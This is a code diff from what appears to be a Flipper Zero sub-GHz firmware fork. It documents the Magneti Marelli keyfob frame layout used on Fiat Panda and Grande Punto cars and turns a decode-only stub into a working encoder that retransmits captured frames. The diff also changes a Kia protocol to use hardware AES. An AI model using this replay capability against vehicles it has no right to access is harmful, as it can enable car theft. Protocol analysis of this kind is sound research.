aes_key_expansion(aes_key, expanded_key); furi_hal_crypto_aes128_ecb_encrypt(aes_key, plaintext, encrypted);
memcpy(plaintext, encrypted, 16);
aes128_encrypt(expanded_key, plaintext);
reverse_bits_in_bytes(plaintext, 16); reverse_bits_in_bytes(plaintext, 16);

View File

@@ -1,30 +1,45 @@
#include "fiat_marelli.h" #include "fiat_marelli.h"
#include <inttypes.h>
#include "../blocks/const.h"
#include "../blocks/decoder.h"
#include "../blocks/encoder.h"
#include "../blocks/generic.h"
#include "../blocks/math.h"
#include "../blocks/custom_btn_i.h"
#include <lib/toolbox/manchester_decoder.h> #include <lib/toolbox/manchester_decoder.h>
#include <lib/toolbox/manchester_encoder.h>
#include <furi_hal_subghz.h>
#define TAG "FiatMarelli" #define TAG "FiatMarelli"
// Suspected Magneti Marelli BSI keyfob protocol // Magneti Marelli BSI keyfob protocol (PCF7946)
// Found on: Fiat Panda (and possibly other Fiat/Lancia/Alfa ~2003-2012) // Found on: Fiat Panda, Grande Punto (and possibly other Fiat/Lancia/Alfa ~2003-2012)
// //
// RF: 433.92 MHz, Manchester encoding // RF: 433.92 MHz, Manchester encoding
// te_short ~260us, te_long ~520us // Two timing variants with identical frame structure:
// Preamble: ~191 short-short pairs (alternating 260us HIGH/LOW) // Type A (e.g. Panda): te_short ~260us, te_long ~520us
// Gap: ~3126us LOW // Type B (e.g. Grande Punto): te_short ~100us, te_long ~200us
// Sync: ~2065us HIGH // TE is auto-detected from preamble pulse averaging.
// Data: 88 Manchester bits (often decoded as 104 with 16-bit 0xFFFF preamble residue)
// Retransmissions: 7-10 per press
// //
// Frame layout (after stripping 16-bit 0xFFFF preamble): // Frame layout (103-104 bits = 13 bytes):
// Bytes 0-3: Fixed ID / Serial (32 bits) // Bytes 0-1: 0xFFFF/0xFFFC preamble residue
// Byte 4: Button (upper nibble) | Type (lower nibble) // Bytes 2-5: Serial (32 bits)
// Buttons: 0x7=Lock, 0xB=Unlock, 0xD=Trunk // Byte 6: [Button:4 | Epoch:4]
// Bytes 5-10: Rolling/encrypted code (48 bits) // Byte 7: [Counter:5 | Scramble:2 | Fixed:1]
#define FIAT_MARELLI_PREAMBLE_MIN 200 // Min preamble pulses (100 pairs) // Bytes 8-12: Encrypted payload (40 bits)
#define FIAT_MARELLI_GAP_MIN 2500 // Gap detection threshold (us)
#define FIAT_MARELLI_SYNC_MIN 1500 // Sync pulse minimum (us) #define FIAT_MARELLI_PREAMBLE_PULSE_MIN 50
#define FIAT_MARELLI_SYNC_MAX 2600 // Sync pulse maximum (us) #define FIAT_MARELLI_PREAMBLE_PULSE_MAX 350
#define FIAT_MARELLI_MAX_DATA_BITS 104 // Max data bits to collect (13 bytes) #define FIAT_MARELLI_PREAMBLE_MIN 80
#define FIAT_MARELLI_MAX_DATA_BITS 104
#define FIAT_MARELLI_MIN_DATA_BITS 80
#define FIAT_MARELLI_GAP_TE_MULT 4
#define FIAT_MARELLI_SYNC_TE_MIN_MULT 4
#define FIAT_MARELLI_SYNC_TE_MAX_MULT 12
#define FIAT_MARELLI_RETX_GAP_MIN 5000
#define FIAT_MARELLI_RETX_SYNC_MIN 400
#define FIAT_MARELLI_RETX_SYNC_MAX 2800
#define FIAT_MARELLI_TE_TYPE_AB_BOUNDARY 180
static const SubGhzBlockConst subghz_protocol_fiat_marelli_const = { static const SubGhzBlockConst subghz_protocol_fiat_marelli_const = {
.te_short = 260, .te_short = 260,
@@ -40,16 +55,23 @@ struct SubGhzProtocolDecoderFiatMarelli {
ManchesterState manchester_state; ManchesterState manchester_state;
uint8_t decoder_state; uint8_t decoder_state;
uint16_t preamble_count; uint16_t preamble_count;
uint8_t raw_data[13]; // Up to 104 bits (13 bytes) uint8_t raw_data[13];
uint8_t bit_count; uint8_t bit_count;
uint32_t extra_data; // Bits beyond first 64, right-aligned uint32_t extra_data;
uint32_t te_last; uint32_t te_last;
uint32_t te_sum;
uint16_t te_count;
uint32_t te_detected;
}; };
struct SubGhzProtocolEncoderFiatMarelli { struct SubGhzProtocolEncoderFiatMarelli {
SubGhzProtocolEncoderBase base; SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder; SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic; SubGhzBlockGeneric generic;
uint8_t raw_data[13];
uint32_t extra_data;
uint8_t bit_count;
uint32_t te_detected;
}; };
typedef enum { typedef enum {
@@ -57,12 +79,9 @@ typedef enum {
FiatMarelliDecoderStepPreamble = 1, FiatMarelliDecoderStepPreamble = 1,
FiatMarelliDecoderStepSync = 2, FiatMarelliDecoderStepSync = 2,
FiatMarelliDecoderStepData = 3, FiatMarelliDecoderStepData = 3,
FiatMarelliDecoderStepRetxSync = 4,
} FiatMarelliDecoderStep; } FiatMarelliDecoderStep;
// ============================================================================
// PROTOCOL INTERFACE DEFINITIONS
// ============================================================================
const SubGhzProtocolDecoder subghz_protocol_fiat_marelli_decoder = { const SubGhzProtocolDecoder subghz_protocol_fiat_marelli_decoder = {
.alloc = subghz_protocol_decoder_fiat_marelli_alloc, .alloc = subghz_protocol_decoder_fiat_marelli_alloc,
.free = subghz_protocol_decoder_fiat_marelli_free, .free = subghz_protocol_decoder_fiat_marelli_free,
@@ -86,21 +105,29 @@ const SubGhzProtocol subghz_protocol_fiat_marelli = {
.name = FIAT_MARELLI_PROTOCOL_NAME, .name = FIAT_MARELLI_PROTOCOL_NAME,
.type = SubGhzProtocolTypeDynamic, .type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable | .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save, SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_fiat_marelli_decoder, .decoder = &subghz_protocol_fiat_marelli_decoder,
.encoder = &subghz_protocol_fiat_marelli_encoder, .encoder = &subghz_protocol_fiat_marelli_encoder,
}; };
// ============================================================================ // ============================================================================
// ENCODER STUBS (decode-only protocol) // Encoder
// ============================================================================ // ============================================================================
#define FIAT_MARELLI_ENCODER_UPLOAD_MAX 1500
#define FIAT_MARELLI_ENCODER_REPEAT 3
#define FIAT_MARELLI_PREAMBLE_PAIRS 100
void* subghz_protocol_encoder_fiat_marelli_alloc(SubGhzEnvironment* environment) { void* subghz_protocol_encoder_fiat_marelli_alloc(SubGhzEnvironment* environment) {
UNUSED(environment); UNUSED(environment);
SubGhzProtocolEncoderFiatMarelli* instance = calloc(1, sizeof(SubGhzProtocolEncoderFiatMarelli)); SubGhzProtocolEncoderFiatMarelli* instance = calloc(1, sizeof(SubGhzProtocolEncoderFiatMarelli));
furi_check(instance); furi_check(instance);
instance->base.protocol = &subghz_protocol_fiat_marelli; instance->base.protocol = &subghz_protocol_fiat_marelli;
instance->generic.protocol_name = instance->base.protocol->name; instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = FIAT_MARELLI_ENCODER_REPEAT;
instance->encoder.size_upload = FIAT_MARELLI_ENCODER_UPLOAD_MAX;
instance->encoder.upload = malloc(FIAT_MARELLI_ENCODER_UPLOAD_MAX * sizeof(LevelDuration));
furi_check(instance->encoder.upload);
instance->encoder.is_running = false; instance->encoder.is_running = false;
return instance; return instance;
} }
@@ -108,42 +135,95 @@ void* subghz_protocol_encoder_fiat_marelli_alloc(SubGhzEnvironment* environment)
void subghz_protocol_encoder_fiat_marelli_free(void* context) { void subghz_protocol_encoder_fiat_marelli_free(void* context) {
furi_check(context); furi_check(context);
SubGhzProtocolEncoderFiatMarelli* instance = context; SubGhzProtocolEncoderFiatMarelli* instance = context;
free(instance->encoder.upload);
free(instance); free(instance);
} }
SubGhzProtocolStatus // Manchester encoding from decoder FSM:
subghz_protocol_encoder_fiat_marelli_deserialize(void* context, FlipperFormat* flipper_format) { // From Mid1: bit 1 = LOW_TE + HIGH_TE, bit 0 = LOW_2TE
UNUSED(context); // From Mid0: bit 0 = HIGH_TE + LOW_TE, bit 1 = HIGH_2TE
UNUSED(flipper_format); static bool fiat_marelli_encoder_get_upload(SubGhzProtocolEncoderFiatMarelli* instance) {
return SubGhzProtocolStatusError; uint32_t te = instance->te_detected;
if(te == 0) te = subghz_protocol_fiat_marelli_const.te_short;
uint32_t te_short = te;
uint32_t te_long = te * 2;
uint32_t gap_duration = te * 12;
uint32_t sync_duration = te * 8;
size_t index = 0;
size_t max_upload = FIAT_MARELLI_ENCODER_UPLOAD_MAX;
uint8_t data_bits = instance->bit_count;
if(data_bits == 0) data_bits = instance->generic.data_count_bit;
if(data_bits < FIAT_MARELLI_MIN_DATA_BITS || data_bits > FIAT_MARELLI_MAX_DATA_BITS) {
return false;
}
for(uint8_t i = 0; i < FIAT_MARELLI_PREAMBLE_PAIRS && (index + 1) < max_upload; i++) {
instance->encoder.upload[index++] = level_duration_make(true, te_short);
if(i < FIAT_MARELLI_PREAMBLE_PAIRS - 1) {
instance->encoder.upload[index++] = level_duration_make(false, te_short);
}
}
if(index < max_upload) {
instance->encoder.upload[index++] = level_duration_make(false, te_short + gap_duration);
}
if(index < max_upload) {
instance->encoder.upload[index++] = level_duration_make(true, sync_duration);
}
bool in_mid1 = true;
for(uint8_t bit_i = 0; bit_i < data_bits && (index + 1) < max_upload; bit_i++) {
uint8_t byte_idx = bit_i / 8;
uint8_t bit_pos = 7 - (bit_i % 8);
bool data_bit = (instance->raw_data[byte_idx] >> bit_pos) & 1;
if(in_mid1) {
if(data_bit) {
instance->encoder.upload[index++] = level_duration_make(false, te_short);
instance->encoder.upload[index++] = level_duration_make(true, te_short);
} else {
instance->encoder.upload[index++] = level_duration_make(false, te_long);
in_mid1 = false;
}
} else {
if(data_bit) {
instance->encoder.upload[index++] = level_duration_make(true, te_long);
in_mid1 = true;
} else {
instance->encoder.upload[index++] = level_duration_make(true, te_short);
instance->encoder.upload[index++] = level_duration_make(false, te_short);
}
}
}
if(in_mid1) {
if(index < max_upload) {
instance->encoder.upload[index++] =
level_duration_make(false, te_short + gap_duration * 3);
}
} else {
if(index > 0) {
instance->encoder.upload[index - 1] =
level_duration_make(false, te_short + gap_duration * 3);
}
}
instance->encoder.size_upload = index;
return index > 0;
} }
void subghz_protocol_encoder_fiat_marelli_stop(void* context) { static void fiat_marelli_encoder_rebuild_raw_data(SubGhzProtocolEncoderFiatMarelli* instance) {
furi_check(context);
SubGhzProtocolEncoderFiatMarelli* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_fiat_marelli_yield(void* context) {
UNUSED(context);
return level_duration_reset();
}
// ============================================================================
// DECODER IMPLEMENTATION
// ============================================================================
// Helper: rebuild raw_data[] from generic.data + extra_data
static void fiat_marelli_rebuild_raw_data(SubGhzProtocolDecoderFiatMarelli* instance) {
memset(instance->raw_data, 0, sizeof(instance->raw_data)); memset(instance->raw_data, 0, sizeof(instance->raw_data));
// First 64 bits from generic.data
uint64_t key = instance->generic.data; uint64_t key = instance->generic.data;
for(int i = 0; i < 8; i++) { for(int i = 0; i < 8; i++) {
instance->raw_data[i] = (uint8_t)(key >> (56 - i * 8)); instance->raw_data[i] = (uint8_t)(key >> (56 - i * 8));
} }
// Remaining bits from extra_data (right-aligned)
uint8_t extra_bits = uint8_t extra_bits =
instance->generic.data_count_bit > 64 ? (instance->generic.data_count_bit - 64) : 0; instance->generic.data_count_bit > 64 ? (instance->generic.data_count_bit - 64) : 0;
for(uint8_t i = 0; i < extra_bits && i < 32; i++) { for(uint8_t i = 0; i < extra_bits && i < 32; i++) {
@@ -157,6 +237,117 @@ static void fiat_marelli_rebuild_raw_data(SubGhzProtocolDecoderFiatMarelli* inst
instance->bit_count = instance->generic.data_count_bit; instance->bit_count = instance->generic.data_count_bit;
} }
SubGhzProtocolStatus
subghz_protocol_encoder_fiat_marelli_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolEncoderFiatMarelli* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
if(ret != SubGhzProtocolStatusOk) break;
uint32_t extra = 0;
if(flipper_format_read_uint32(flipper_format, "Extra", &extra, 1)) {
instance->extra_data = extra;
}
uint32_t te = 0;
if(flipper_format_read_uint32(flipper_format, "TE", &te, 1)) {
instance->te_detected = te;
}
fiat_marelli_encoder_rebuild_raw_data(instance);
if(!fiat_marelli_encoder_get_upload(instance)) {
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
break;
}
instance->encoder.repeat = FIAT_MARELLI_ENCODER_REPEAT;
instance->encoder.front = 0;
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_fiat_marelli_stop(void* context) {
furi_check(context);
SubGhzProtocolEncoderFiatMarelli* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_fiat_marelli_yield(void* context) {
furi_check(context);
SubGhzProtocolEncoderFiatMarelli* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) {
instance->encoder.repeat--;
}
instance->encoder.front = 0;
}
return ret;
}
// ============================================================================
// Decoder
// ============================================================================
static void fiat_marelli_rebuild_raw_data(SubGhzProtocolDecoderFiatMarelli* instance) {
memset(instance->raw_data, 0, sizeof(instance->raw_data));
uint64_t key = instance->generic.data;
for(int i = 0; i < 8; i++) {
instance->raw_data[i] = (uint8_t)(key >> (56 - i * 8));
}
uint8_t extra_bits =
instance->generic.data_count_bit > 64 ? (instance->generic.data_count_bit - 64) : 0;
for(uint8_t i = 0; i < extra_bits && i < 32; i++) {
uint8_t byte_idx = 8 + (i / 8);
uint8_t bit_pos = 7 - (i % 8);
if(instance->extra_data & (1UL << (extra_bits - 1 - i))) {
instance->raw_data[byte_idx] |= (1 << bit_pos);
}
}
instance->bit_count = instance->generic.data_count_bit;
if(instance->bit_count >= 56) {
instance->generic.serial =
((uint32_t)instance->raw_data[2] << 24) |
((uint32_t)instance->raw_data[3] << 16) |
((uint32_t)instance->raw_data[4] << 8) |
((uint32_t)instance->raw_data[5]);
instance->generic.btn = (instance->raw_data[6] >> 4) & 0xF;
instance->generic.cnt = (instance->raw_data[7] >> 3) & 0x1F;
}
}
static void fiat_marelli_prepare_data(SubGhzProtocolDecoderFiatMarelli* instance) {
instance->bit_count = 0;
instance->extra_data = 0;
instance->generic.data = 0;
memset(instance->raw_data, 0, sizeof(instance->raw_data));
manchester_advance(
instance->manchester_state,
ManchesterEventReset,
&instance->manchester_state,
NULL);
instance->decoder_state = FiatMarelliDecoderStepData;
}
void* subghz_protocol_decoder_fiat_marelli_alloc(SubGhzEnvironment* environment) { void* subghz_protocol_decoder_fiat_marelli_alloc(SubGhzEnvironment* environment) {
UNUSED(environment); UNUSED(environment);
SubGhzProtocolDecoderFiatMarelli* instance = SubGhzProtocolDecoderFiatMarelli* instance =
@@ -181,6 +372,9 @@ void subghz_protocol_decoder_fiat_marelli_reset(void* context) {
instance->bit_count = 0; instance->bit_count = 0;
instance->extra_data = 0; instance->extra_data = 0;
instance->te_last = 0; instance->te_last = 0;
instance->te_sum = 0;
instance->te_count = 0;
instance->te_detected = 0;
instance->generic.data = 0; instance->generic.data = 0;
memset(instance->raw_data, 0, sizeof(instance->raw_data)); memset(instance->raw_data, 0, sizeof(instance->raw_data));
instance->manchester_state = ManchesterStateMid1; instance->manchester_state = ManchesterStateMid1;
@@ -189,35 +383,51 @@ void subghz_protocol_decoder_fiat_marelli_reset(void* context) {
void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32_t duration) { void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32_t duration) {
furi_check(context); furi_check(context);
SubGhzProtocolDecoderFiatMarelli* instance = context; SubGhzProtocolDecoderFiatMarelli* instance = context;
uint32_t te_short = (uint32_t)subghz_protocol_fiat_marelli_const.te_short;
uint32_t te_long = (uint32_t)subghz_protocol_fiat_marelli_const.te_long; uint32_t te_short = instance->te_detected ? instance->te_detected
uint32_t te_delta = (uint32_t)subghz_protocol_fiat_marelli_const.te_delta; : (uint32_t)subghz_protocol_fiat_marelli_const.te_short;
uint32_t te_long = te_short * 2;
uint32_t te_delta = te_short / 2;
if(te_delta < 30) te_delta = 30;
uint32_t diff; uint32_t diff;
switch(instance->decoder_state) { switch(instance->decoder_state) {
case FiatMarelliDecoderStepReset: case FiatMarelliDecoderStepReset:
// Wait for first short HIGH pulse to start preamble if(level) {
if(!level) return; if(duration >= FIAT_MARELLI_PREAMBLE_PULSE_MIN &&
diff = (duration > te_short) ? (duration - te_short) : (te_short - duration); duration <= FIAT_MARELLI_PREAMBLE_PULSE_MAX) {
if(diff < te_delta) { instance->decoder_state = FiatMarelliDecoderStepPreamble;
instance->decoder_state = FiatMarelliDecoderStepPreamble; instance->preamble_count = 1;
instance->preamble_count = 1; instance->te_sum = duration;
instance->te_last = duration; instance->te_count = 1;
instance->te_last = duration;
}
} else {
if(duration > FIAT_MARELLI_RETX_GAP_MIN) {
instance->decoder_state = FiatMarelliDecoderStepRetxSync;
instance->te_last = duration;
}
} }
break; break;
case FiatMarelliDecoderStepPreamble: case FiatMarelliDecoderStepPreamble:
diff = (duration > te_short) ? (duration - te_short) : (te_short - duration); if(duration >= FIAT_MARELLI_PREAMBLE_PULSE_MIN &&
duration <= FIAT_MARELLI_PREAMBLE_PULSE_MAX) {
if(diff < te_delta) {
// Short pulse (HIGH or LOW) preamble continues
instance->preamble_count++; instance->preamble_count++;
instance->te_sum += duration;
instance->te_count++;
instance->te_last = duration; instance->te_last = duration;
} else if(!level && duration > FIAT_MARELLI_GAP_MIN) { } else if(!level) {
// Long LOW potential gap after preamble if(instance->preamble_count >= FIAT_MARELLI_PREAMBLE_MIN && instance->te_count > 0) {
if(instance->preamble_count >= FIAT_MARELLI_PREAMBLE_MIN) { instance->te_detected = instance->te_sum / instance->te_count;
instance->decoder_state = FiatMarelliDecoderStepSync; uint32_t gap_threshold = instance->te_detected * FIAT_MARELLI_GAP_TE_MULT;
instance->te_last = duration;
if(duration > gap_threshold) {
instance->decoder_state = FiatMarelliDecoderStepSync;
instance->te_last = duration;
} else {
instance->decoder_state = FiatMarelliDecoderStepReset;
}
} else { } else {
instance->decoder_state = FiatMarelliDecoderStepReset; instance->decoder_state = FiatMarelliDecoderStepReset;
} }
@@ -226,20 +436,28 @@ void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32
} }
break; break;
case FiatMarelliDecoderStepSync: case FiatMarelliDecoderStepSync: {
// Expect sync HIGH pulse ~2065us after the gap uint32_t sync_min = instance->te_detected * FIAT_MARELLI_SYNC_TE_MIN_MULT;
if(level && duration >= FIAT_MARELLI_SYNC_MIN && duration <= FIAT_MARELLI_SYNC_MAX) { uint32_t sync_max = instance->te_detected * FIAT_MARELLI_SYNC_TE_MAX_MULT;
// Sync detected prepare for Manchester data
instance->bit_count = 0; if(level && duration >= sync_min && duration <= sync_max) {
instance->extra_data = 0; fiat_marelli_prepare_data(instance);
instance->generic.data = 0; instance->te_last = duration;
memset(instance->raw_data, 0, sizeof(instance->raw_data)); } else {
manchester_advance( instance->decoder_state = FiatMarelliDecoderStepReset;
instance->manchester_state, }
ManchesterEventReset, break;
&instance->manchester_state, }
NULL);
instance->decoder_state = FiatMarelliDecoderStepData; case FiatMarelliDecoderStepRetxSync:
if(level && duration >= FIAT_MARELLI_RETX_SYNC_MIN &&
duration <= FIAT_MARELLI_RETX_SYNC_MAX) {
if(!instance->te_detected) {
instance->te_detected = duration / 8;
if(instance->te_detected < 70) instance->te_detected = 100;
if(instance->te_detected > 350) instance->te_detected = 260;
}
fiat_marelli_prepare_data(instance);
instance->te_last = duration; instance->te_last = duration;
} else { } else {
instance->decoder_state = FiatMarelliDecoderStepReset; instance->decoder_state = FiatMarelliDecoderStepReset;
@@ -250,7 +468,6 @@ void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32
ManchesterEvent event = ManchesterEventReset; ManchesterEvent event = ManchesterEventReset;
bool frame_complete = false; bool frame_complete = false;
// Classify duration as short or long Manchester edge
diff = (duration > te_short) ? (duration - te_short) : (te_short - duration); diff = (duration > te_short) ? (duration - te_short) : (te_short - duration);
if(diff < te_delta) { if(diff < te_delta) {
event = level ? ManchesterEventShortLow : ManchesterEventShortHigh; event = level ? ManchesterEventShortLow : ManchesterEventShortHigh;
@@ -291,7 +508,7 @@ void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32
} }
} }
} else { } else {
if(instance->bit_count >= subghz_protocol_fiat_marelli_const.min_count_bit_for_found) { if(instance->bit_count >= FIAT_MARELLI_MIN_DATA_BITS) {
frame_complete = true; frame_complete = true;
} else { } else {
instance->decoder_state = FiatMarelliDecoderStepReset; instance->decoder_state = FiatMarelliDecoderStepReset;
@@ -301,36 +518,13 @@ void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32
if(frame_complete) { if(frame_complete) {
instance->generic.data_count_bit = instance->bit_count; instance->generic.data_count_bit = instance->bit_count;
// Frame layout: bytes 0-1 are 0xFFFF preamble residue
// Bytes 2-5: Fixed ID (serial)
// Byte 6: Button (upper nibble) | subtype (lower nibble)
// Bytes 7-12: Rolling/encrypted code (48 bits)
instance->generic.serial = instance->generic.serial =
((uint32_t)instance->raw_data[2] << 24) | ((uint32_t)instance->raw_data[2] << 24) |
((uint32_t)instance->raw_data[3] << 16) | ((uint32_t)instance->raw_data[3] << 16) |
((uint32_t)instance->raw_data[4] << 8) | ((uint32_t)instance->raw_data[4] << 8) |
((uint32_t)instance->raw_data[5]); ((uint32_t)instance->raw_data[5]);
instance->generic.btn = (instance->raw_data[6] >> 4) & 0xF; instance->generic.btn = (instance->raw_data[6] >> 4) & 0xF;
instance->generic.cnt = instance->generic.cnt = (instance->raw_data[7] >> 3) & 0x1F;
((uint32_t)instance->raw_data[7] << 16) |
((uint32_t)instance->raw_data[8] << 8) |
((uint32_t)instance->raw_data[9]);
FURI_LOG_I(
TAG,
"Decoded %d bits: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
instance->bit_count,
instance->raw_data[0],
instance->raw_data[1],
instance->raw_data[2],
instance->raw_data[3],
instance->raw_data[4],
instance->raw_data[5],
instance->raw_data[6],
instance->raw_data[7],
instance->raw_data[8],
instance->raw_data[9],
instance->raw_data[10]);
if(instance->base.callback) { if(instance->base.callback) {
instance->base.callback(&instance->base, instance->base.context); instance->base.callback(&instance->base, instance->base.context);
@@ -342,6 +536,7 @@ void subghz_protocol_decoder_fiat_marelli_feed(void* context, bool level, uint32
instance->te_last = duration; instance->te_last = duration;
break; break;
} }
} }
} }
@@ -367,14 +562,15 @@ SubGhzProtocolStatus subghz_protocol_decoder_fiat_marelli_serialize(
subghz_block_generic_serialize(&instance->generic, flipper_format, preset); subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
if(ret == SubGhzProtocolStatusOk) { if(ret == SubGhzProtocolStatusOk) {
// Save extra data (bits 64+ right-aligned in uint32_t)
flipper_format_write_uint32(flipper_format, "Extra", &instance->extra_data, 1); flipper_format_write_uint32(flipper_format, "Extra", &instance->extra_data, 1);
// Save total bit count explicitly (generic serialize also saves it, but Extra needs context)
uint32_t extra_bits = instance->generic.data_count_bit > 64 uint32_t extra_bits = instance->generic.data_count_bit > 64
? (instance->generic.data_count_bit - 64) ? (instance->generic.data_count_bit - 64)
: 0; : 0;
flipper_format_write_uint32(flipper_format, "Extra_bits", &extra_bits, 1); flipper_format_write_uint32(flipper_format, "Extra_bits", &extra_bits, 1);
uint32_t te = instance->te_detected;
flipper_format_write_uint32(flipper_format, "TE", &te, 1);
} }
return ret; return ret;
@@ -395,6 +591,11 @@ SubGhzProtocolStatus subghz_protocol_decoder_fiat_marelli_deserialize(
instance->extra_data = extra; instance->extra_data = extra;
} }
uint32_t te = 0;
if(flipper_format_read_uint32(flipper_format, "TE", &te, 1)) {
instance->te_detected = te;
}
fiat_marelli_rebuild_raw_data(instance); fiat_marelli_rebuild_raw_data(instance);
} }
@@ -418,29 +619,35 @@ void subghz_protocol_decoder_fiat_marelli_get_string(void* context, FuriString*
furi_check(context); furi_check(context);
SubGhzProtocolDecoderFiatMarelli* instance = context; SubGhzProtocolDecoderFiatMarelli* instance = context;
uint8_t total_bytes = (instance->bit_count + 7) / 8; uint8_t epoch = instance->raw_data[6] & 0xF;
if(total_bytes > 13) total_bytes = 13; uint8_t counter = (instance->raw_data[7] >> 3) & 0x1F;
const char* variant = (instance->te_detected &&
instance->te_detected < FIAT_MARELLI_TE_TYPE_AB_BOUNDARY)
? "B"
: "A";
uint8_t scramble = (instance->raw_data[7] >> 1) & 0x3;
uint8_t fixed = instance->raw_data[7] & 0x1;
furi_string_cat_printf( furi_string_cat_printf(
output, output,
"%s %dbit\r\n" "%s %dbit\r\n"
"Sn:%08lX Btn:%s(0x%X)\r\n" "Enc:%02X%02X%02X%02X%02X Scr:%02X\r\n"
"Roll:%02X%02X%02X%02X%02X%02X\r\n" "Raw:%02X%02X Fixed:%X\r\n"
"Data:", "Sn:%08X Cnt:%02X\r\n"
"Btn:%02X:[%s] Ep:%02X\r\n"
"Tp:%s\r\n",
instance->generic.protocol_name, instance->generic.protocol_name,
instance->bit_count, (int)instance->bit_count,
instance->generic.serial, instance->raw_data[8], instance->raw_data[9],
instance->raw_data[10], instance->raw_data[11],
instance->raw_data[12],
(unsigned)scramble,
instance->raw_data[6], instance->raw_data[7],
(unsigned)fixed,
(unsigned int)instance->generic.serial,
(unsigned)counter,
(unsigned)instance->generic.btn,
fiat_marelli_button_name(instance->generic.btn), fiat_marelli_button_name(instance->generic.btn),
instance->generic.btn, (unsigned)epoch,
instance->raw_data[7], variant);
instance->raw_data[8],
instance->raw_data[9],
(total_bytes > 10) ? instance->raw_data[10] : 0,
(total_bytes > 11) ? instance->raw_data[11] : 0,
(total_bytes > 12) ? instance->raw_data[12] : 0);
for(uint8_t i = 0; i < total_bytes; i++) {
furi_string_cat_printf(output, "%02X", instance->raw_data[i]);
}
furi_string_cat_printf(output, "\r\n");
} }

View File

@@ -1,14 +1,6 @@
#pragma once #pragma once
#include <furi.h> #include "base.h"
#include <lib/subghz/protocols/base.h>
#include <lib/subghz/types.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <lib/toolbox/manchester_decoder.h>
#include <flipper_format/flipper_format.h> #include <flipper_format/flipper_format.h>
#define FIAT_MARELLI_PROTOCOL_NAME "Fiat Marelli" #define FIAT_MARELLI_PROTOCOL_NAME "Fiat Marelli"
@@ -31,7 +23,6 @@ SubGhzProtocolStatus
subghz_protocol_decoder_fiat_marelli_deserialize(void* context, FlipperFormat* flipper_format); subghz_protocol_decoder_fiat_marelli_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_decoder_fiat_marelli_get_string(void* context, FuriString* output); void subghz_protocol_decoder_fiat_marelli_get_string(void* context, FuriString* output);
// Encoder stubs
void* subghz_protocol_encoder_fiat_marelli_alloc(SubGhzEnvironment* environment); void* subghz_protocol_encoder_fiat_marelli_alloc(SubGhzEnvironment* environment);
void subghz_protocol_encoder_fiat_marelli_free(void* context); void subghz_protocol_encoder_fiat_marelli_free(void* context);
SubGhzProtocolStatus SubGhzProtocolStatus

View File

@@ -7,6 +7,7 @@
#include "../blocks/custom_btn_i.h" #include "../blocks/custom_btn_i.h"
#include <lib/toolbox/manchester_decoder.h> #include <lib/toolbox/manchester_decoder.h>
#include <flipper_format/flipper_format.h> #include <flipper_format/flipper_format.h>
#include <furi_hal_crypto.h>
#define TAG "SubGhzProtocolKiaV6" #define TAG "SubGhzProtocolKiaV6"
@@ -43,29 +44,6 @@ static const uint8_t aes_sbox[256] = {
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
}; };
static const uint8_t aes_sbox_inv[256] = {
0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
